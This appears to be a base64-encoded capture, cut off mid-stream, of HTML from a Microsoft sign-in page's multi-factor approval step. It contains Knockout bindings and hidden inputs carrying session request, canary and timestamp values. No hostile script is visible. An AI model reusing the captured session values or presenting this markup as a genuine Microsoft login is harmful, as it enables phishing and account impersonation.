Y2xpY2s6IHByaW1hcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgICAgIGVuYWJsZTogaXNQcmltYXJ5QnV0dG9uRW5hYmxlZCwKICAgICAgICAgICAgICAgIHZpc2libGU6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUsCiAgICAgICAgICAgICAgICBwcmV2ZW50VGFiYmluZzogcHJpbWFyeUJ1dHRvblByZXZlbnRUYWJiaW5nIiB2YWx1ZT0iTmV4dCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgIDwvZGl2Pgo8L2Rpdj48L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0ga28gaWY6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCAtLT48IS0tIC9rbyAtLT48L2Rpdj48IS0tIC9rbyAtLT4KICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2PgoJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9InNob3ctbWZhMy1jb2RlIHBhZ2luYXRpb24tdmlldyBhbmltYXRlIGhhcy1pZGVudGl0eS1iYW5uZXIgc2xpZGUtaW4tbmV4dCIgZGF0YS1iaW5kPSJjc3M6IHsKICAgICAgICBcJ2hhcy1pZGVudGl0eS1iYW5uZXJcJzogc2hvd0lkZW50aXR5QmFubmVyKCkgJmFtcDsmYW1wOyAoc2hhcmVkRGF0YS5kaXNwbGF5TmFtZSB8fCBzdnIuc1BPU1RfVXNlcm5hbWUpLAogICAgICAgIFwnemVyby1vcGFjaXR5XCc6IGhpZGVQYWdpbmF0ZWRWaWV3LmhpZGVTdWJWaWV3KCksCiAgICAgICAgXCdhbmltYXRlXCc6IGFuaW1hdGUoKSwKICAgICAgICBcJ3NsaWRlLW91dC1uZXh0XCc6IGFuaW1hdGUuaXNTbGlkZU91dE5leHQoKSwKICAgICAgICBcJ3NsaWRlLWluLW5leHRcJzogYW5pbWF0ZS5pc1NsaWRlSW5OZXh0KCksCiAgICAgICAgXCdzbGlkZS1vdXQtYmFja1wnOiBhbmltYXRlLmlzU2xpZGVPdXRCYWNrKCksCiAgICAgICAgXCdzbGlkZS1pbi1iYWNrXCc6IGFuaW1hdGUuaXNTbGlkZUluQmFjaygpIH0iPgoKICAgICAgICA8IS0tIGtvIGZvcmVhY2g6IHZpZXdzIC0tPgogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFskZGF0YV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48ZGl2IGRhdGEtdmlld2lkPSI2IiBkYXRhLXNob3dpZGVudGl0eWJhbm5lcj0idHJ1ZSIgZGF0YS1iaW5kPSJwYWdlVmlld0NvbXBvbmVudDogeyBuYW1lOiBcJ3Nlc3Npb24tYXBwcm92YWwtdmlld1wnLAogICAgICAgICAgICAgICAgICAgIHBhcmFtczogewogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbnRQcm9vZjogc2hhcmVkRGF0YS5zZW50UHJvb2YsCiAgICAgICAgICAgICAgICAgICAgICAgIHVzZXJuYW1lOiBzaGFyZWREYXRhLnVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICBzdXBwb3J0c0JhY2s6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGlzSW5pdGlhbFN0YXRlOiBpc0luaXRpYWxTdGF0ZSwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbklkZW50aWZpZXI6IHNoYXJlZERhdGEuc2Vzc2lvbklkZW50aWZpZXIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHNoYXJlZERhdGEuc2hvd0NhbmNlbEJ1dHRvbiwKICAgICAgICAgICAgICAgICAgICAgICAgdHJ1c3RlZERldmljZUNoZWNrYm94Q29uZmlnOiBzaGFyZWREYXRhLnRydXN0ZWREZXZpY2VDaGVja2JveENvbmZpZywKICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudFBvbGxTdGFydFRpbWU6IHNoYXJlZERhdGEuY3VycmVudFBvbGxTdGFydFRpbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cnJlbnRQb2xsRW5kVGltZTogc2hhcmVkRGF0YS5jdXJyZW50UG9sbEVuZFRpbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIHR3b1dheVBvbGxpbmdOZWVkZWQ6IHNoYXJlZERhdGEudHdvV2F5UG9sbGluZ05lZWRlZCwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbkFwcHJvdmFsRXJyb3I6IHNoYXJlZERhdGEuc2Vzc2lvbkFwcHJvdmFsRXJyb3IsCiAgICAgICAgICAgICAgICAgICAgICAgIGZsb3dUb2tlbjogc2hhcmVkRGF0YS5mbG93VG9rZW4sCiAgICAgICAgICAgICAgICAgICAgICAgIGVudHJvcHk6IHNoYXJlZERhdGEuZW50cm9weSB9LAogICAgICAgICAgICAgICAgICAgIGV2ZW50OiB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhbmNlbDogdmlld19vbkNhbmNlbCwKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlU2Vzc2lvbklkZW50aWZpZXI6ICR0ZmFQYWdlLnZpZXdfb25VcGRhdGVTZXNzaW9uSWRlbnRpZmllciwKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlRmxvd1Rva2VuOiAkdGZhUGFnZS52aWV3X29uVXBkYXRlRmxvd1Rva2VuLAogICAgICAgICAgICAgICAgICAgICAgICBzdWJtaXRSZWFkeTogJHRmYVBhZ2Uudmlld19vblN1Ym1pdFJlYWR5IH0gfSI+PCEtLSAgLS0+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiBkYXRhLWJpbmQ9InZhbHVlOiBcJzIyXCciIHZhbHVlPSIyMiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlcXVlc3QiIGRhdGEtYmluZD0idmFsdWU6IHN2ci5zQ3R4IiB2YWx1ZT0iclFRSUFSQUFoWk1fak50MEZNZmo1Qzdrb2lzY1I0dUtXRzdvZ0ZyWnNYOTJFdnNBaVNUT0g5OGxUbUk3NThTTDVmaGZuUGlfblRqeGhHQ0FCZEdoTUp5WWtGaHVnd1hFQkJ1NnFWSWxSRy1vVUljT0lLUUtscktSd2x5eFBIMmYzdnNPVDlfUEt4WXFDQVlRREVGdjV3Q0NIdDhpcXBVeVFaU25NQTdVQ2t4UVV4UW1jYjBDWXhxRmIwZWdXbEdWOExCNEFPNmRmNVVOTm8zM1BfcjlwOGRQYnI5OUFSM040dGlQamt1bEpFa1F6ekFzVlVkVXp5blppcXRacnJrQzMwSFFmUWc2ei03cUxqemlMN0pSQmE5U0dBRkFGY1ZJQ2lfakJJR3djOWJ1dDRmcmljUEViS29tUFF0RldacWJkUVVUbndpaldCSkctR1RlY3FUMm1jVzJXMDVQNUJZOWNaU3k2U0ptYVlhUWVCVHR0WmwxVnp6WjdqQ3hSQy1JSHQxYzktWXpwMC1yeEZYMmxYNXRHY19BOC1LRlZxcl9tZDB6dk5DUmZTLUt6M09mWjBtNk9vSWppcE1pdzJTYWREb1pKTUlTR3h2eHNJNVREWGUwdGhSWnJjTmNjRGIwbzdGbkJ6US1YUTBiTXlBeDFhQnVnb1VrWWwzWUpoVXpyQkhoSnFtbkR0TjB1OTFtMVBJN1pSdE5CNzQ5eFZIY0ZxcWRxSndPcGlaSmJseXFNYmNYbkVKTE0yQUdwMEJZRUJRUGU4YVFETG5HQ0s0MTNGakVObUhUbUFzbnBpVHloTUh6cmJxeUhCcUxKR2dyb0psNGRhOWxydUNocmtoVjFsZTFtaDQydEtad05wRzU4b0p6Y1c4d0h2b1ZFY0FvQmZoVzBOU0lFR09sV3Q5dWtlMXd3cXdHRmJaQ1lhU2hqOWtUUU1vYUxBZWptUk9mcHE0b202cDVrWHZqQmZHdXdEZTVfRlk0bm51WnEzcS03bHJha1I5NmhtWHJMMEppQlVyOWY3dU81LWhJemJZZjUyNHBxdW90M2ZnOTMxWTIyMEEwUTNFc2UtUG9tcVVxOW5NWG9penY3MENfN2J4ZXlCX3MzNFNPTW05ZFIzUEhoVUx4SUhNemM1UjV0Z045dWJzRjgydjk3dzlfZnZBTzg4bjY2dUgxVDI5a0xuZExrcVZ0akR0ZVlBYWdmQll4N2RPcFlOWjFjVmsyVHBKdVdPNlA3VHVZVU9QRUFHWGVCY2ZZM1R4ME41LV96TF9LMERMYkZIaWh4dEkxamdZeS1qU2ZfZmdsNlB1OV8wWDlnXzFyaGN6aDN0NGo5OXMzdi1Ddk9sZjdyeFdMUzB1MnZlMHhlblQ0M3d2OGNDM3o3T1Zmbl83eTJZOV8zZnVqOHc4MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsU3RhcnQiIGRhdGEtYmluZD0idmFsdWU6IGN1cnJlbnRQb2xsU3RhcnRUaW1lIiB2YWx1ZT0iMTY1NTgyNjQzOTc2MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsRW5kIiBkYXRhLWJpbmQ9InZhbHVlOiBjdXJyZW50UG9sbEVuZFRpbWUiIHZhbHVlPSIxNjU1ODI2NDQxNTEwIj4KCjwhLS0ga28gaWY6IHR3b1dheVBvbGxpbmdOZWVkZWQgLS0+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIGRhdGEtYmluZD0iYXR0cjogeyBuYW1lOiBzdnIuc0F1dGhNZXRob2RJbnB1dEZpZWxkTmFtZSB9LCB2YWx1ZTogXCdQaG9uZUFwcE5vdGlmaWNhdGlvblwnIiBuYW1lPSJtZmFBdXRoTWV0aG9kIiB2YWx1ZT0iUGhvbmVBcHBOb3RpZmljYXRpb24iPgo8IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHN2ci5jYW5hcnkgLS0+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNhbmFyeSIgZGF0YS1iaW5kPSJ2YWx1ZTogc3ZyLmNhbmFyeSIgdmFsdWU9IlppZHlmK29xZ3EyNVZzSUdLYlRnQmVXdTVmSndMcjVPWGwrMVRBUldxMEk9OToxIj4KPCEtLSAva28gLS0+Cgo8ZGl2IGlkPSJpZERpdl9TQU9UQ0FTX1RpdGxlIiBjbGFzcz0icm93IHRleHQtdGl0bGUiIHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiIGRhdGEtYmluZD0idGV4dDogdGl0bGUiPkFwcHJvdmUgc2lnbiBpbiByZXF1ZXN0PC9kaXY+CjxkaXYgY2xhc3M9InJvdyB0ZXh0LWJvZHkiPgogICAgPGRpdiBkYXRhLWJpbmQ9ImNvbXBvbmVudDogeyBuYW1lOiBcJ3Byb29mLWltYWdlLWNvbnRyb2xcJywgcGFyYW1zOiB7IHR5cGU6IFBST09GLlR5cGUuVE9UUEF1dGhlbnRpY2F0b3JWMiwgc21hbGw6IHRydWUsIGFuaW1hdGU6IHRydWUgfSB9Ij48IS0tICAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuRW1haWwgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNU0FsdGVybmF0ZU1vYmlsZSAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVm9pY2UgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlQWx0ZXJuYXRlTW9iaWxlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2VPZmZpY2UgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yVjIgLS0+CiAgICA8IS0tIGtvIGlmOiAhc3ZyLmZVc2VOZXdBdXRoZW50aWNhdG9ySWNvbiAtLT48IS0tIC9rbyAtLT4KCiAgICA8IS0tIGtvIGlmOiBzdnIuZlVzZU5ld0F1dGhlbnRpY2F0b3JJY29uIC0tPgogICAgICAgIDwhLS0ga28gY29tcG9uZW50OiBcJ2FjY2Vzc2libGUtaW1hZ2UtY29udHJvbFwnIC0tPjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdEJsYWNrVGhlbWUgfHwgaGFzRGFya0JhY2tncm91bmQgfHwgc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpICYmICFpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgLS0+PCEtLSAva28gLS0+CjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgfHwgKCFoYXNEYXJrQmFja2dyb3VuZCAmJiAhc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpKSAmJiAhaXNIaWdoQ29udHJhc3RCbGFja1RoZW1lIC0tPgo8IS0tIGtvIHRlbXBsYXRlOiB7IG5vZGVzOiBbZGFya0ltYWdlTm9kZV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48aW1nIGNsYXNzPSJ0aWxlLWltZyBzbWFsbCBhbmltYXRlLXB1bHNlIiByb2xlPSJwcmVzZW50YXRpb24iIHBuZ3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfYXV0aGVudGljYXRvcl85NDJhYzcxZjc3Y2IwNDAwNGIwYWIyNTk1MGUxNzBiNS5wbmciIHN2Z3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfZmx1ZW50X2F1dGhlbnRpY2F0b3JfYjU5YzE2Y2E5YmYxNTY0MzhhOGE5NmQ0NWUzM2RiNjQuc3ZnIiBkYXRhLWJpbmQ9ImltZ1NyYywgY3NzOiB7IFwnc21hbGxcJzogc21hbGwsIFwnYW5pbWF0ZS1wdWxzZVwnOiBhbmltYXRlIH0iIHNyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfZmx1ZW50X2F1dGhlbnRpY2F0b3JfYjU5YzE2Y2E5YmYxNTY0MzhhOGE5NmQ0NWUzM2RiNjQuc3ZnIj48IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+PCEtLSAva28gLS0+CiAgICA8IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5GaWRvS2V5IC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5BY2Nlc3NQYXNzIC0tPjwhLS0gL2tvIC0tPjwvZGl2PgogICAgPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IG92ZXJmbG93LWhpZGRlbiI+CiAgICAgICAgPGRpdiBpZD0iaWREaXZfU0FPVENBU19EZXNjcmlwdGlvbiIgZGF0YS1iaW5kPSJodG1sV2l0aEJpbmRpbmdzOiBkZXNjcmlwdGlvbiwgY2hpbGRCaW5kaW5nczogeyBcJ2lkU3Bhbl9TQU9UQ0FTX0Rlc2NTZXNzaW9uSURcJzogeyBjc3M6IHsgXCdib2xkXCc6IHRydWUgfSB9IH0iPk9wZW4geW91ciBNaWNyb3NvZnQgQXV0aGVudGljYXRvciBhcHAgYW5kIGFwcHJvdmUgdGhlIHJlcXVlc3QgdG8gc2lnbiBpbjwvZGl2PgogICAgICAgIDwhLS0ga28gaWY6IGRlc2NyaXB0aW9uMiAtLT48IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0ga28gaWY6IGRpc3BsYXlTaWduIC0tPjwhLS0gL2tvIC0tPgoKPGRpdj4KICAgIDwhLS0ga28gaWY6IGRvUG9sbGluZyAtLT48IS0tIC9rbyAtLT4KPC9kaXY+Cgo8ZGl2IGRhdGEtYmluZD0iY3NzOiB7IFwncG9zaXRpb24tYnV0dG9uc1wnOiAhdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IH0iIGNsYXNzPSJwb3NpdGlvbi1idXR0b25zIj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IG5vLW1hcmdpbi10b3AtYm90dG9tIiBkYXRhLWJpbmQ9InZpc2libGU6IHRkQ2hlY2tib3guaXNTaG93biIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTI0IGZvcm0tZ3JvdXAgbm8tbWFyZ2luLXRvcCBjaGVja2JveCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgaWQ9ImlkTGJsX1NBT1RDQVNfVERfQ2IiPgogICAgICAgICAgICAgICAgICAgIDwhLS0gU2V0IGF0dHIgYmluZGluZyBiZWZvcmUgaGFzRm9jdXNFeCB0byBwcmV2ZW50IE5hcnJhdG9yIGZyb20gbG9zaW5nIGZvY3VzIC0tPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0iaWRDaGtCeF9TQU9UQ0FTX1REIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9InRydWUiIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICAgICAgICAgIGF0dHI6IHsgbmFtZTogc3ZyLnNUcnVzdGVkRGV2aWNlQ2hlY2tib3hOYW1lIH0sCiAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFMYWJlbDogc3RyW1wnQ1RfU0FPVENBU19TVFJfQWRkVERcJ10sCiAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFEZXNjcmliZWRCeTogW1wnaWREaXZfU0FPVENBU19UaXRsZVwnLCBcJ2lkRGl2X1NBT1RDQVNfRGVzY3JpcHRpb25cJ10uY29uY2F0KGRlc2NyaXB0aW9uMiA/IFtcJ2lkRGl2X1JpY2hDb250ZXh0X0Rlc2NyaXB0aW9uXCddIDogW10pLmpvaW4oXCcgXCcpLAogICAgICAgICAgICAgICAgICAgICAgICBoYXNGb2N1c0V4OiB0ZENoZWNrYm94LmlzU2hvd24sCiAgICAgICAgICAgICAgICAgICAgICAgIGNoZWNrZWQ6IHRkQ2hlY2tib3guaXNDaGVja2VkLAogICAgICAgICAgICAgICAgICAgICAgICBkaXNhYmxlOiB0ZENoZWNrYm94LmlzRGlzYWJsZWQiIG5hbWU9InJlbWVtYmVyTUZBIiBhcmlhLWxhYmVsPSJEb25cJ3QgYXNrIGFnYWluIGZvciB1bmRlZmluZWQgZGF5cyIgYXJpYS1kZXNjcmliZWRieT0iaWREaXZfU0FPVENBU19UaXRsZSBpZERpdl9TQU9UQ0FTX0Rlc2NyaXB0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBkYXRhLWJpbmQ9InRleHQ6IHN0cltcJ0NUX1NBT1RDQVNfU1RSX0FkZFREXCddIj5Eb25cJ3QgYXNrIGFnYWluIGZvciB1bmRlZmluZWQgZGF5czwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMjQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC0xMyI+CiAgICAgICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogc2hvd1N3aXRjaFByb29mc0xpbmsgLS0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iIiBpZD0iaWREaXZfU0FPVENTX0hhdmluZ1Ryb3VibGUiIGNsYXNzPSJmb3JtLWdyb3VwIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3NzOiB7IFwnbm8tbWFyZ2luLWJvdHRvbVwnOiAhc3ZyLnVybE1vcmVJbmZvIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodG1sV2l0aEJpbmRpbmdzOiB0b2dnbGVUZXh0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hpbGRCaW5kaW5nczogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwnc2lnbkluQW5vdGhlcldheVwnOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc0ZvY3VzRXg6ICF0ZENoZWNrYm94LmlzU2hvd24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFEZXNjcmliZWRCeTogW1wnaWREaXZfU0FPVENBU19UaXRsZVwnLCBcJ2lkRGl2X1NBT1RDQVNfRGVzY3JpcHRpb25cJ10uY29uY2F0KGRlc2NyaXB0aW9uMiA/IFtcJ2lkRGl2X1JpY2hDb250ZXh0X0Rlc2NyaXB0aW9uXCddIDogW10pLmpvaW4oXCcgXCcpIH0gfSI+PGEgaHJlZj0iIyIgaWQ9InNpZ25JbkFub3RoZXJXYXkiIGFyaWEtZGVzY3JpYmVkYnk9ImlkRGl2X1NBT1RDQVNfVGl0bGUgaWREaXZfU0FPVENBU19EZXNjcmlwdGlvbiI+SSBjYW5cJ3QgdXNlIG15IE1pY3Jvc29mdCBBdXRoZW50aWNhdG9yIGFwcCByaWdodCBub3c8L2E+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CgogICAgICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHN2ci51cmxNb3JlSW5mbyAtLT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG5vLW1hcmdpbi1ib3R0b20iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBpZD0ibW9yZUluZm9VcmwiIHRhcmdldD0iX2JsYW5rIiBocmVmPSIiIGRhdGEtYmluZD0idGV4dDogc3RyW1wnQ1RfU1RSX01vcmVfSW5mb1wnXSwgaHJlZjogc3ZyLnVybE1vcmVJbmZvLCBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9fQXJpYUxhYmVsXCddIiBhcmlhLWxhYmVsPSJNb3JlIGluZm9ybWF0aW9uIGFib3V0IHR3byBzdGVwIHZlcmlmaWNhdGlvbiI+TW9yZSBpbmZvcm1hdGlvbjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9Indpbi1idXR0b24tcGluLWJvdHRvbSIgZGF0YS1iaW5kPSJjc3MgOiB7IFwnYm9pbGVycGxhdGUtYnV0dG9uLWJvdHRvbVwnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IiBkYXRhLWJpbmQ9ImNzczogeyBcJ21vdmUtYnV0dG9uc1wnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICAgICAgICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdmb290ZXItYnV0dG9ucy1maWVsZFwnLAogICAgICAgICAgICAgICAgcGFyYW1zOiB7CiAgICAgICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgICAgIGlzUHJpbWFyeUJ1dHRvblZpc2libGU6IGZhbHNlLAogICAgICAgICAgICAgICAgICAgIGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZTogIXNob3dTd2l0Y2hQcm9vZnNMaW5rLAogICAgICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvblRleHQ6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQ2FuY2VsXCddIH0sCiAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvbkNsaWNrOiBzZWNvbmRhcnlCdXR0b25fb25DbGljayB9IH0iPjxkaXYgY2xhc3M9ImNvbC14cy0yNCBuby1wYWRkaW5nLWxlZnQtcmlnaHQgYnV0dG9uLWNvbnRhaW5lciIgZGF0YS1iaW5kPSIKICAgIHZpc2libGU6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUoKSB8fCBpc1NlY29uZGFyeUJ1dHRvblZpc2libGUoKSwKICAgIGNzczogeyBcJ25vLW1hcmdpbi1ib3R0b21cJzogcmVtb3ZlQm90dG9tTWFyZ2luIH0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgogICAgPCEtLSBrbyBpZjogaXNTZWNvbmRhcnlCdXR0b25WaXNpYmxlIC0tPjwhLS0gL2tvIC0tPgoKICAgIDxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdpbmxpbmUtYmxvY2tcJzogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSB9Ij4KICAgICAgICA8IS0tIHR5cGU9InN1Ym1pdCIgaXMgbmVlZGVkIGluLWFkZGl0aW9uIHRvIFwndHlwZVwnIGluIHByaW1hcnlCdXR0b25BdHRyaWJ1dGVzIG9ic2VydmFibGUgdG8gc3VwcG9ydCBJRTggLS0+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9ImlkU0lCdXR0b245IiBjbGFzcz0id2luLWJ1dHRvbiBidXR0b25fcHJpbWFyeSBidXR0b24gZXh0LWJ1dHRvbiBwcmltYXJ5IGV4dC1wcmltYXJ5IiBkYXRhLXJlcG9ydC1ldmVudD0iU2lnbmluX1N1Ym1pdCIgZGF0YS1yZXBvcnQtdHJpZ2dlcj0iY2xpY2siIGRhdGEtcmVwb3J0LXZhbHVlPSJTdWJtaXQiIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICBhdHRyOiBwcmltYXJ5QnV0dG9uQXR0cmlidXRlcywKICAgICAgICAgICAgICAgIGV4dGVybmFsQ3NzOiB7CiAgICAgICAgICAgICAgICAgICAgXCdidXR0b25cJzogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBcJ3ByaW1hcnlcJzogdH